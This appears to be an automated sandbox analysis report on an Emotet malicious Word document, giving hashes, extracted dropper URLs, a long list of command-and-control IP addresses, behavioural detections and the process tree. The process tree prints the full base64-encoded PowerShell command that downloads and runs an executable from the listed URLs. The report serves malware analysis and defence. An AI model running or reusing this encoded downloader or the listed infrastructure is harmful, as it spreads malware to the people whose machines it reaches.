Analysis
- max time kernel
139s - max time network
135s - platform
windows10_x64 - resource
win10v200722 - submitted
17/08/2020, 17:56
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e3_964368d8528d3f1ef8fcea8a6cc89294c06dcc7500580f6edbca8e5c7f6d310e_2020-08-17__175450._doc.doc
Resource
win7
General
- Target emotet_e3_964368d8528d3f1ef8fcea8a6cc89294c06dcc7500580f6edbca8e5c7f6d310e_2020-08-17__175450._doc.doc
- Size 232KB
- Sample200817-nzqagrlsfs
- SHA256 964368d8528d3f1ef8fcea8a6cc89294c06dcc7500580f6edbca8e5c7f6d310e
- MD5 30915ce8779a33673d15cd81fc227789
- SHA1 cddf144145e4f39cbc286bdf35b664dc128a6667
- SHA512 8a114c3f58a40ad5f531b98cd794aa445fbc99bfde49bc7317bce2c1e8a4a623d480bded91e2bbb393ea4fabd4c05bcbac87eb626100b0fe0e3b9b7cbacca810
- MD5 SHA1 SHA512
Malware Config
Extracted
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ps1
-
exe.dropper
http://muliarental.com/f9u8w-mrs-88/VWVA/
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exe.dropper
https://dev.dosily.in/wp-content/qyY/
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exe.dropper
http://behnasan.com/wp-content/uZRqx/
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exe.dropper
http://www.leframe.com/zcMv/tATDYnJy/
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exe.dropper
http://runderfulthailand.com/jkats/LvJDvtg8270/
Extracted
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emotet
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186.109.104.67:80
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185.86.148.68:443
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139.99.157.213:8080
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105.213.67.88:80
-
190.53.144.120:80
-
203.153.216.182:7080
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81.214.253.80:443
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195.201.56.70:8080
-
201.213.177.139:80
-
31.146.61.34:80
-
177.144.130.105:443
-
92.24.51.238:80
-
197.83.232.19:80
-
105.209.235.113:8080
-
188.0.135.237:80
-
176.9.93.82:7080
-
190.164.75.175:80
-
188.251.213.180:443
-
87.106.231.60:8080
-
113.161.148.81:80
-
97.104.107.190:80
-
86.57.216.23:80
-
192.163.221.191:8080
-
115.79.195.246:80
-
5.79.70.250:8080
-
41.84.237.198:443
-
46.105.131.68:8080
-
77.74.78.80:443
-
105.184.233.166:80
-
91.83.93.103:443
-
187.64.128.197:80
-
185.208.226.142:8080
-
177.32.8.85:80
-
46.32.229.152:8080
-
177.37.81.212:443
-
66.61.94.36:80
-
190.212.140.6:80
-
212.112.113.235:80
-
190.190.15.20:80
-
75.127.14.170:8080
-
172.96.190.154:8080
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192.241.220.183:8080
-
41.185.29.128:8080
-
182.176.95.147:80
-
37.46.129.215:8080
-
181.134.9.162:80
-
201.235.10.215:80
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181.113.229.139:443
-
181.114.114.203:80
-
179.5.118.12:80
-
178.33.167.120:8080
-
198.57.203.63:8080
-
185.142.236.163:443
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71.57.180.213:80
-
115.78.11.155:80
-
217.199.160.224:8080
-
172.105.78.244:8080
-
115.165.3.213:80
-
202.5.47.71:80
-
81.17.93.134:80
-
74.208.173.91:8080
-
192.210.217.94:8080
-
179.62.238.49:80
-
157.7.164.178:8081
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143.95.101.72:8080
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182.187.139.200:8080
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216.75.37.196:8080
-
139.59.12.63:8080
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203.153.216.178:7080
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50.116.78.109:8080
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51.38.201.19:7080
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107.161.30.122:8080
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177.94.227.143:80
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78.189.60.109:443
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2128 496 powersheLL.exe 66 - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/1020-12-0x0000000000760000-0x000000000076C000-memory.dmp emotet behavioral2/memory/1020-12-0x0000000000760000-0x000000000076C000-memory.dmp emotet behavioral2/memory/3968-15-0x0000000000620000-0x000000000062C000-memory.dmp emotet behavioral2/memory/3968-15-0x0000000000620000-0x000000000062C000-memory.dmp emotet - Blacklisted process makes network request 3 IoCs
flow pid Process 17 2128 powersheLL.exe 19 2128 powersheLL.exe 21 2128 powersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 1020 Ycfq.exe 3968 dxilconv.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\dataclen\dxilconv.exe Ycfq.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3816 WINWORD.EXE 3816 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 2128 powersheLL.exe 2128 powersheLL.exe 2128 powersheLL.exe 3968 dxilconv.exe 3968 dxilconv.exe 3968 dxilconv.exe 3968 dxilconv.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2128 powersheLL.exe - Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 3816 WINWORD.EXE 3816 WINWORD.EXE 3816 WINWORD.EXE 3816 WINWORD.EXE 3816 WINWORD.EXE 3816 WINWORD.EXE 3816 WINWORD.EXE 3816 WINWORD.EXE 3816 WINWORD.EXE 1020 Ycfq.exe 1020 Ycfq.exe 3968 dxilconv.exe 3968 dxilconv.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2128 wrote to memory of 1020 2128 powersheLL.exe 75 PID 2128 wrote to memory of 1020 2128 powersheLL.exe 75 PID 2128 wrote to memory of 1020 2128 powersheLL.exe 75 PID 1020 wrote to memory of 3968 1020 Ycfq.exe 76 PID 1020 wrote to memory of 3968 1020 Ycfq.exe 76 PID 1020 wrote to memory of 3968 1020 Ycfq.exe 76
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_964368d8528d3f1ef8fcea8a6cc89294c06dcc7500580f6edbca8e5c7f6d310e_2020-08-17__175450._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3816
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C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABKAGUAYQBlADkAaQB0AD0AJwBVAHEAXwB4AHYAdgBuACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBgAEMAdQBgAFIAaQB0AFkAcABSAGAAbwBUAE8AQwBPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABJAGUAcAA2AGoANQBtACAAPQAgACcAWQBjAGYAcQAnADsAJABYAF8AbABzAGcAZgB6AD0AJwBaAHkAMQA2ADEAeAAzACcAOwAkAEsAbQBrADMAcABvAGgAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABJAGUAcAA2AGoANQBtACsAJwAuAGUAeABlACcAOwAkAEwAdQBmAGcANQBqAGEAPQAnAEsAdQB0ADIAMwByADMAJwA7ACQASwAzAGwAYgAzAGgAMwA9AC4AKAAnAG4AZQB3AC0AJwArACcAbwAnACsAJwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBFAHQALgBXAGUAQgBDAEwAaQBFAG4AVAA7ACQAWABvAGoAYQB6AG8AdAA9ACcAaAB0AHQAcAA6AC8ALwBtAHUAbABpAGEAcgBlAG4AdABhAGwALgBjAG8AbQAvAGYAOQB1ADgAdwAtAG0AcgBzAC0AOAA4AC8AVgBXAFYAQQAvACoAaAB0AHQAcABzADoALwAvAGQAZQB2AC4AZABvAHMAaQBsAHkALgBpAG4ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AcQB5AFkALwAqAGgAdAB0AHAAOgAvAC8AYgBlAGgAbgBhAHMAYQBuAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AdQBaAFIAcQB4AC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AbABlAGYAcgBhAG0AZQAuAGMAbwBtAC8AegBjAE0AdgAvAHQAQQBUAEQAWQBuAEoAeQAvACoAaAB0AHQAcAA6AC8ALwByAHUAbgBkAGUAcgBmAHUAbAB0AGgAYQBpAGwAYQBuAGQALgBjAG8AbQAvAGoAawBhAHQAcwAvAEwAdgBKAEQAdgB0AGcAOAAyADcAMAAvACcALgAiAHMAcABsAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARQA4AGcAbwA1AHMAOQA9ACcATwBfAGIAZQAyAGYAOQAnADsAZgBvAHIAZQBhAGMAaAAoACQAUgBiADIAZgBpAHIAegAgAGkAbgAgACQAWABvAGoAYQB6AG8AdAApAHsAdAByAHkAewAkAEsAMwBsAGIAMwBoADMALgAiAGQATwB3AG4AbABgAE8AYABBAEQAZgBgAGkATABlACIAKAAkAFIAYgAyAGYAaQByAHoALAAgACQASwBtAGsAMwBwAG8AaAApADsAJABWAGoAcwB0AGMAcgB3AD0AJwBaAG0AYwB4AHgAOQAzACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQASwBtAGsAMwBwAG8AaAApAC4AIgBMAGAAZQBOAEcAYABUAGgAIgAgAC0AZwBlACAAMgA5ADkANAA5ACkAIAB7ACYAKAAnAEkAJwArACcAbgAnACsAJwB2AG8AawBlACcAKwAnAC0ASQB0AGUAbQAnACkAKAAkAEsAbQBrADMAcABvAGgAKQA7ACQAUgB4ADUAcgBvAGsAMAA9ACcASgB4ADUAaQA4AGkAawAnADsAYgByAGUAYQBrADsAJABQADkAdABfAGkAMAAyAD0AJwBOAHAAcgBwAGwAZgB3ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE8AaABjAHMAZAByAHAAPQAnAE8AOAAxADUANABwAGQAJwA=1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2128 -
C:\Users\Admin\AppData\Local\Temp\Ycfq.exe"C:\Users\Admin\AppData\Local\Temp\Ycfq.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1020 -
C:\Windows\SysWOW64\dataclen\dxilconv.exe"C:\Windows\SysWOW64\dataclen\dxilconv.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:3968
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